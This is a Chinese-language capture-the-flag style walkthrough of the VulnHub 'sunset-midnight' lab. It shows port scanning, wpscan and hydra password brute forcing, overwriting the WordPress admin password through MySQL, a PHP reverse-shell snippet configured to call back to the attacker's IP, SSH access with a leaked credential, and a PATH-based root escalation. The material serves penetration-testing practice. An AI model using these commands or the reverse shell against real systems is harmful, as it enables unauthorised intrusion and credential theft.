博客地址 http://blog.yutian233.xyz/
靶机描述
Difficulty: Intermediate
Important!: Before auditing this machine make sure you add the host "sunset-midnight" to your /etc/hosts file, otherwise it may not work as expected.
It is recommended to run this machine in Virtualbox.
This works better with ViritualBox rather than VMware
https://www.vulnhub.com/entry/sunset-midnight,517/
主机发现
信息搜集
nmap -A -p- 192.168.217.172
开放 22、80、3306端口
根据信息可以看出
在80端口上搭建了WordPress
Wpscan
爆破用户名字
wpscan --url http://sunset-midnight/ --enumerate u
得到名为 admin 的用户
接下来试着爆破密码
wpscan --url http://sunset-midnight/ -U admin -P /usr/share/wordlists/rockyou.txt
使用字典为 kali 自带的 /usr/share/wordlists/rockyou.txt
爆破无果
尝试3306端口
3306
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.217.172
得到密码 robert
连接mysql
mysql -h192.168.217.172 -uroot -p
进入数据库查看密码
密码为加密过的
由于有mysql权限1
使用 update 更新密码,密码为123456
update wp_users set user_pass=md5(“123456”) where user_login=‘admin’;
得到密码之后就可以去网站后台登陆了
获得www-date
登陆后台后来到插件编辑处
编辑 /usr/share/webshells/php/php-reverse-shell.php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.217.168'; // CHANGE THIS
$port = 2233; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
更改IP为 kali 的IP port为监听的端口,接下来将更改完成的代码复制到插件内容里
完成后点击 Activate 即可得到反弹的shell
还有一个用户 jose
在 /var/www/html/wordpress/wp-config.php 发现了用户 jose 的密码
连接到 jose
ssh jose@192.168.217.172
ssh jose@192.168.217.172
将status 传出来反编译后得到
接下来更改环境变量2,提权root